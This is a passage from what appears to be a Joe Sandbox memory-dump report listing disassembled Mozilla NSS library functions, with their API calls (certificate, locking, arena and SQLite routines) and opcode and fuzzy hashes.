Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CEE7313), ref: 6CEE8FBB

Part of subcall function 6CEE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE88298,?,?,?,6CE7FCE5,?), ref: 6CEE07BF
Part of subcall function 6CEE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEE07E6
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE081B
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CEE7313), ref: 6CEE9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CEE7313), ref: 6CEE903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CEE7313), ref: 6CEE909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CEE7313), ref: 6CEE90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CEE7313), ref: 6CEE90F1

Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE10F3
Part of subcall function 6CEE10C0: EnterCriticalSection.KERNEL32(?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE110C
Part of subcall function 6CEE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1141
Part of subcall function 6CEE10C0: PR_Unlock.NSS3(?,?,?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE1182
Part of subcall function 6CEE10C0: TlsGetValue.KERNEL32(?,6CE88802,00000000,00000008,?,6CE7EF74,00000000), ref: 6CEE119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CEE7313), ref: 6CEE906B

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CEE7313), ref: 6CEE9128

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 4b988e96c794600b98bed30defabb55fe93f53504332db22f845541b8ca1be7b
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 46518371A002018FEB10DF6ADC44BA6B3F5AF4939CF364169D915D7B61EB31E805CB91

Function 6CE99C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CE98850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CEA0715), ref: 6CE98859
Part of subcall function 6CE98850: PR_NewLock.NSS3 ref: 6CE98874
Part of subcall function 6CE98850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CE9888D

PR_NewLock.NSS3 ref: 6CE99CAD

Part of subcall function 6CF498D0: calloc.MOZGLUE(00000001,00000084,6CE70936,00000001,?,6CE7102C), ref: 6CF498E5

Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707AD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707CD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707D6
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CE0204A), ref: 6CE707E4
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,6CE0204A), ref: 6CE70864
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE70880
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,6CE0204A), ref: 6CE708CB
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708D7
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708FB

TlsGetValue.KERNEL32 ref: 6CE99CE8
EnterCriticalSection.KERNEL32(?,?,6CE9ECEC,6CEA2FCD,00000000,?,6CEA2FCD,?), ref: 6CE99D01
TlsGetValue.KERNEL32(?,?,?,6CE9ECEC,6CEA2FCD,00000000,?,6CEA2FCD,?), ref: 6CE99D38
EnterCriticalSection.KERNEL32(?,?,6CE9ECEC,6CEA2FCD,00000000,?,6CEA2FCD,?), ref: 6CE99D4D
PR_Unlock.NSS3 ref: 6CE99D70
PR_Unlock.NSS3 ref: 6CE99DC3
PR_NewLock.NSS3 ref: 6CE99DDD

Part of subcall function 6CE988D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CEA0725,00000000,00000058), ref: 6CE98906
Part of subcall function 6CE988D0: EnterCriticalSection.KERNEL32(?), ref: 6CE9891A
Part of subcall function 6CE988D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CE9894A
Part of subcall function 6CE988D0: calloc.MOZGLUE(00000001,6CEA072D,00000000,00000000,00000000,?,6CEA0725,00000000,00000058), ref: 6CE98959
Part of subcall function 6CE988D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CE98993
Part of subcall function 6CE988D0: PR_Unlock.NSS3(?), ref: 6CE989AF

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 1207fa21abfe7aaff7d00605f387e06c158f16a6cd4a47a320b2c383e589a24f
Instruction ID: c14c7c824be28adc65d247b3ba059951fa832b4e5514215cec9b4f36cd801934
Opcode Fuzzy Hash: 1207fa21abfe7aaff7d00605f387e06c158f16a6cd4a47a320b2c383e589a24f
Instruction Fuzzy Hash: 535140B0A057059FDB10EF68C08465EBBF4BF45359F258529D89CDB721EB34E884CB91

Function 6CF99EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF99EC0
EnterCriticalSection.KERNEL32(?), ref: 6CF99EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CF99F73
EnterCriticalSection.KERNEL32(?), ref: 6CF99FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CF99FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CF99FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CF9A01D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: d509ba6d4d641dc7ecdd457a0b4f07d27fa20fa4a65536bc49f224e5e6341758
Instruction ID: 60bfe947a75c0b95e987238a6bbba5ba90d8eda272eb7b4b1bd4dbf2ac8cb9a5
Opcode Fuzzy Hash: d509ba6d4d641dc7ecdd457a0b4f07d27fa20fa4a65536bc49f224e5e6341758
Instruction Fuzzy Hash: 6051A2B2900600DFDB109F25D48478ABBF4FF04319F15866AD85957B16EB31F985CBD1

Function 6CE8DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE8DCFA

Part of subcall function 6CF49DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DC6
Part of subcall function 6CF49DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF90A27), ref: 6CF49DD1
Part of subcall function 6CF49DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF49DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE8DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE8DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CE8DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE8DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CE8DD8F

Part of subcall function 6CEA06A0: TlsGetValue.KERNEL32 ref: 6CEA06C2
Part of subcall function 6CEA06A0: EnterCriticalSection.KERNEL32(?), ref: 6CEA06D6
Part of subcall function 6CEA06A0: PR_Unlock.NSS3 ref: 6CEA06EB

CERT_DestroyCertificate.NSS3(?), ref: 6CE8DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CE8DDB7

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 04fa768fa556acf2fb1568d310a5634f51702579b5b1072882a29ee3ce833246
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: A5218EBAE021169BDF019F94DC409DEB7B4AF05218B250125EC1CA7B51F731EA15CBE2

Function 6CF15F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15F72

Part of subcall function 6CE7ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE7ED8F
Part of subcall function 6CE7ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE7ED9E
Part of subcall function 6CE7ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE7EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15FCC
free.MOZGLUE(?,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15FF4
free.MOZGLUE(?,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF15FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF16019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF1AADB,?,?,?,?,?,?,?,?,00000000,?,6CF180C1), ref: 6CF16036

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 2e6ee290fbe4d0453edb64867c7cc060572cf9a1f5563ab0b5c607f8316d232e
Instruction ID: 394bbaf23b7040d815904ed0ad685b41e7cd85e38af164b94223ef5e93f078e3
Opcode Fuzzy Hash: 2e6ee290fbe4d0453edb64867c7cc060572cf9a1f5563ab0b5c607f8316d232e
Instruction Fuzzy Hash: B421D8F5A04B009BEA219F759C48BD777B8AF4574CF14092CE56AC7A40EB36F019CBA1

Function 6CE83C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CEF460B,?,?), ref: 6CE83CA9
EnterCriticalSection.KERNEL32(?), ref: 6CE83CB9
PL_HashTableLookup.NSS3(?), ref: 6CE83CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE83CD6
PR_Unlock.NSS3 ref: 6CE83CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CE83CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE83D03
PR_Unlock.NSS3 ref: 6CE83D15

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: a163925f35a42da48a71d5ee04c9c5cdaaff504e6de7fd3951bbc4b39010efa6
Instruction ID: 4af13876336f840651c762b775babf7e8ae693c5aa2468da6e71256162e4da1f
Opcode Fuzzy Hash: a163925f35a42da48a71d5ee04c9c5cdaaff504e6de7fd3951bbc4b39010efa6
Instruction Fuzzy Hash: EE115C76E0150577EB415B34AC04AAA7B38EF0225CB390130ED1C83752FB22D958C3D1

Function 6CE89C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEA11C0: PR_NewLock.NSS3 ref: 6CEA1216

free.MOZGLUE(?), ref: 6CE89E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE89E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE89E4E
TlsGetValue.KERNEL32 ref: 6CE89EA2

Part of subcall function 6CE99500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CE99546

EnterCriticalSection.KERNEL32(?), ref: 6CE89EB6
PR_Unlock.NSS3 ref: 6CE89ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE89F18

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 1c8221a9018216034228cf625ffc9d11cd78fc45de4fda51b9313057feb1babd
Instruction ID: 288a746a393ccb15036b7cc7a0ba0cc852808f6ddc213b33f0be2293b0e480f6
Opcode Fuzzy Hash: 1c8221a9018216034228cf625ffc9d11cd78fc45de4fda51b9313057feb1babd
Instruction Fuzzy Hash: 4A81D0B1E01601ABEB009F34DC41AABBBF9BF4524CF24452CE85987B51FB31E958C7A1

Function 6CE9DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE9AB10: DeleteCriticalSection.KERNEL32(D958E852,6CEA1397,5B5F5EC0,?,?,6CE9B1EE,2404110F,?,?), ref: 6CE9AB3C
Part of subcall function 6CE9AB10: free.MOZGLUE(D958E836,?,6CE9B1EE,2404110F,?,?), ref: 6CE9AB49
Part of subcall function 6CE9AB10: DeleteCriticalSection.KERNEL32(5D5E6D09), ref: 6CE9AB5C
Part of subcall function 6CE9AB10: free.MOZGLUE(5D5E6CFD), ref: 6CE9AB63
Part of subcall function 6CE9AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE9AB6F
Part of subcall function 6CE9AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE9AB76

TlsGetValue.KERNEL32 ref: 6CE9DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CE9DD0E
PK11_IsFriendly.NSS3(?), ref: 6CE9DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CE9DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE9DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE9DEA6
PR_Unlock.NSS3(?), ref: 6CE9DF08

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 07680a854307c23fa182aa144f0f5a5ec0df4e6548536056d03e57b482378f60
Instruction ID: 3ee027aabf106641706877a4b35fb017f0b067a73cebff3786202ca56113ab25
Opcode Fuzzy Hash: 07680a854307c23fa182aa144f0f5a5ec0df4e6548536056d03e57b482378f60
Instruction Fuzzy Hash: CF91D4B9E002159FDB00CF68C881BAAB7B5BF5530CF348129DD199B751E731EA46CBA1

Function 6CE55FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CF3BB62,00000004,6CFA4CA4,?,?,00000000,?,?,6CE131DB), ref: 6CE560AB
sqlite3_config.NSS3(00000004,6CFA4CA4,6CF3BB62,00000004,6CFA4CA4,?,?,00000000,?,?,6CE131DB), ref: 6CE560EB
sqlite3_config.NSS3(00000012,6CFA4CC4,?,?,6CF3BB62,00000004,6CFA4CA4,?,?,00000000,?,?,6CE131DB), ref: 6CE56122

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE56095
%s at line %d of [%.10s], xrefs: 6CE560A4
misuse, xrefs: 6CE5609F

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: eabccffbca6ac1f6e17c7a6eee2eeea539ac050552927327d280dfa08a79ae54
Instruction ID: e927c95a0267fa9c3d069744197ac478726cab5f22725668578e0f47abd3c20f
Opcode Fuzzy Hash: eabccffbca6ac1f6e17c7a6eee2eeea539ac050552927327d280dfa08a79ae54
Instruction Fuzzy Hash: 99B14D74E1464ACFCB44CF6CC284AA9FBF0FB1E304B158159D509AB362E731BA85CB95

Function 6CE04F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE04FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE051BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6CE051DF
%s at line %d of [%.10s], xrefs: 6CE051B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE051A5
misuse, xrefs: 6CE051AF

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 2d8d251e21264c8d891d4cbb6022f59b3067c6f0c39645487e3213ff53c38cbf
Instruction ID: 2f70ca53b74c21d0a69118037529cf340f03c3a02d24868149d1bf38dcc57b48
Opcode Fuzzy Hash: 2d8d251e21264c8d891d4cbb6022f59b3067c6f0c39645487e3213ff53c38cbf
Instruction Fuzzy Hash: A771CDB670520ADBEB00CE15CD80B9A77B6BF48308F244529FD099BB81D731E861CBE5

Function 6CE72D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CE72D69

Strings

winUnmapfile2, xrefs: 6CE72F7F
winSeekFile, xrefs: 6CE72E9C
winUnmapfile1, xrefs: 6CE72F55
winTruncate1, xrefs: 6CE72EBE
winTruncate2, xrefs: 6CE72EF8

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 8888d316cc5eb5a2835cadb73230267aff75bb8f34ce7b2f31e928defca94d9d
Instruction ID: c7efd222a7388dc74be93fb818df60e4320ac6c8108b0ebad4ebf7900be6779b
Opcode Fuzzy Hash: 8888d316cc5eb5a2835cadb73230267aff75bb8f34ce7b2f31e928defca94d9d
Instruction Fuzzy Hash: E161A275B00205DFDB54CF64DC84B6A7BB2FB5A314F20852DEA159B780DB31AD06CBA1

Function 6CEEFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CEEF165,?), ref: 6CEEFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CEEF165,?), ref: 6CEEFF6F
